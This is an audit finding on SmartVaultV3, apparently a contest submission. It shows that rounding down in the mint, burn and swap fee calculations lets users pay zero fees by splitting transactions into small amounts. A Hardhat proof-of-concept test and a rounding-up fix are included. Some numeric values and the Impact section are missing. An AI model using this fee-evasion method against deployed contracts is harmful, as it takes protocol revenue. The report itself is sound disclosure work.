Summary
Rounding-down inside mint(), burn() & swap() allows a user to pass a small _amount
multiple times and escape paying any fee ever.
Root cause: Whenever feeRate (like mintFeeRate
/burnFeeRate
/swapFeeRate
) for the above actions is set less than HUNDRED_PC
, it's possible to pass an _amount
such that the fee evaluates to zero due to rounding-down present in the calculation.
SmartVaultV3.sol#L160-L167
function mint(address _to, uint256 _amount) external onlyOwner ifNotLiquidated {
@----> uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
require(fullyCollateralised(_amount + fee), UNDER_COLL);
minted = minted + _amount + fee;
EUROs.mint(_to, _amount);
EUROs.mint(ISmartVaultManagerV3(manager).protocol(), fee);
emit EUROsMinted(_to, _amount, fee);
}
SmartVaultV3.sol#L169-L175
function burn(uint256 _amount) external ifMinted(_amount) {
@---> uint256 fee = _amount * ISmartVaultManagerV3(manager).burnFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
minted = minted - _amount;
EUROs.burn(msg.sender, _amount);
IERC20(address(EUROs)).safeTransferFrom(msg.sender, ISmartVaultManagerV3(manager).protocol(), fee);
emit EUROsBurned(_amount, fee);
}
SmartVaultV3.sol#L214-L231
function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
@----> uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
address inToken = getSwapAddressFor(_inToken);
uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
tokenIn: inToken,
tokenOut: getSwapAddressFor(_outToken),
fee: 3000,
recipient: address(this),
deadline: block.timestamp,
amountIn: _amount - swapFee,
amountOutMinimum: minimumAmountOut,
sqrtPriceLimitX96: 0
});
inToken == ISmartVaultManagerV3(manager).weth() ?
executeNativeSwapAndFee(params, swapFee) :
executeERC20SwapAndFee(params, swapFee);
}
Vulnerability Details
Let us examine the current values of mintFeeRate
(or burn/swap fee rates) and HUNDRED_PC
, as present in unit tests:
So if a user passes _amount
as , fee
would be calculated as (rounding down by solidity). So if a user wants to mint an amount of , he can simply call mint()
a total of 100 times with _amount = 150
.
Add the following code inside test/smartVault.js
and run via npx hardhat test --grep 'no fee paid' test/smartVault.js
. The 3 tests will pass.
describe('no fee paid', async () => {
it('allows zero fees while minting', async () => {
const value = ethers.utils.parseEther('1');
await user.sendTransaction({to: Vault.address, value});
let { collateral} = await Vault.status();
expect(getCollateralOf('ETH', collateral).amount).to.equal(value);
const mintedAmount = 100;
for(let i = 0; i < 5; i++) {
let minted = await Vault.connect(user).mint(user.address, mintedAmount);
await expect(minted).to.emit(Vault, 'EUROsMinted').withArgs(user.address, mintedAmount, 0);
}
});
it('allows zero fees while burning', async () => {
const value = ethers.utils.parseEther('1');
await user.sendTransaction({to: Vault.address, value});
let { collateral} = await Vault.status();
expect(getCollateralOf('ETH', collateral).amount).to.equal(value);
await Vault.connect(user).mint(user.address, ethers.utils.parseEther('0.9'));
const burnAmount = 100;
for(let i = 0; i < 5; i++) {
let burned = await Vault.connect(user).burn(burnAmount);
await expect(burned).to.emit(Vault, 'EUROsBurned').withArgs(burnAmount, 0);
}
});
it('allows zero fees while swapping', async () => {
let Stablecoin = await (await ethers.getContractFactory('ERC20Mock')).deploy('sUSD', 'sUSD', 6);
const clUsdUsdPrice = 100000000;
const ClUsdUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('sUSD / USD');
await ClUsdUsd.setPrice(clUsdUsdPrice);
await TokenManager.addAcceptedToken(Stablecoin.address, ClUsdUsd.address);
await user.sendTransaction({to: Vault.address, value: ethers.utils.parseEther('1')});
const borrowValue = ethers.utils.parseEther('1200');
await Vault.connect(user).mint(user.address, borrowValue);
const inToken = ethers.utils.formatBytes32String('ETH');
const outToken = ethers.utils.formatBytes32String('sUSD');
const swapValue = ethers.utils.parseEther('0.0000000000000001');
const swapFee = swapValue.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
expect(swapFee).to.equal(0, "zero swap fee");
const protocolBalance = await protocol.getBalance();
await Vault.connect(user).swap(inToken, outToken, swapValue);
const {
amountIn, txValue
} = await SwapRouterMock.receivedSwap();
expect(amountIn).to.equal(swapValue);
expect(txValue).to.equal(swapValue);
expect(await protocol.getBalance()).to.equal(protocolBalance);
});
});
Impact
Tools Used
Hardhat
Recommendations
Rounding-up needs to be done here instead of rounding-down. Either use an external library like solmate which has a function like mulDivUp or incorporate custom logic. The following recommendation shows such a custom logic for mint()
, but can be duplicated for burn()
and swap()
too in the same manner:
function mint(address _to, uint256 _amount) external onlyOwner ifNotLiquidated {
uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
+ uint256 addExtra = (fee * ISmartVaultManagerV3(manager).HUNDRED_PC()) == (_amount * ISmartVaultManagerV3(manager).mintFeeRate()) ? 0 : 1;
+ fee = fee + addExtra;
require(fullyCollateralised(_amount + fee), UNDER_COLL);
minted = minted + _amount + fee;
EUROs.mint(_to, _amount);
EUROs.mint(ISmartVaultManagerV3(manager).protocol(), fee);
emit EUROsMinted(_to, _amount, fee);
}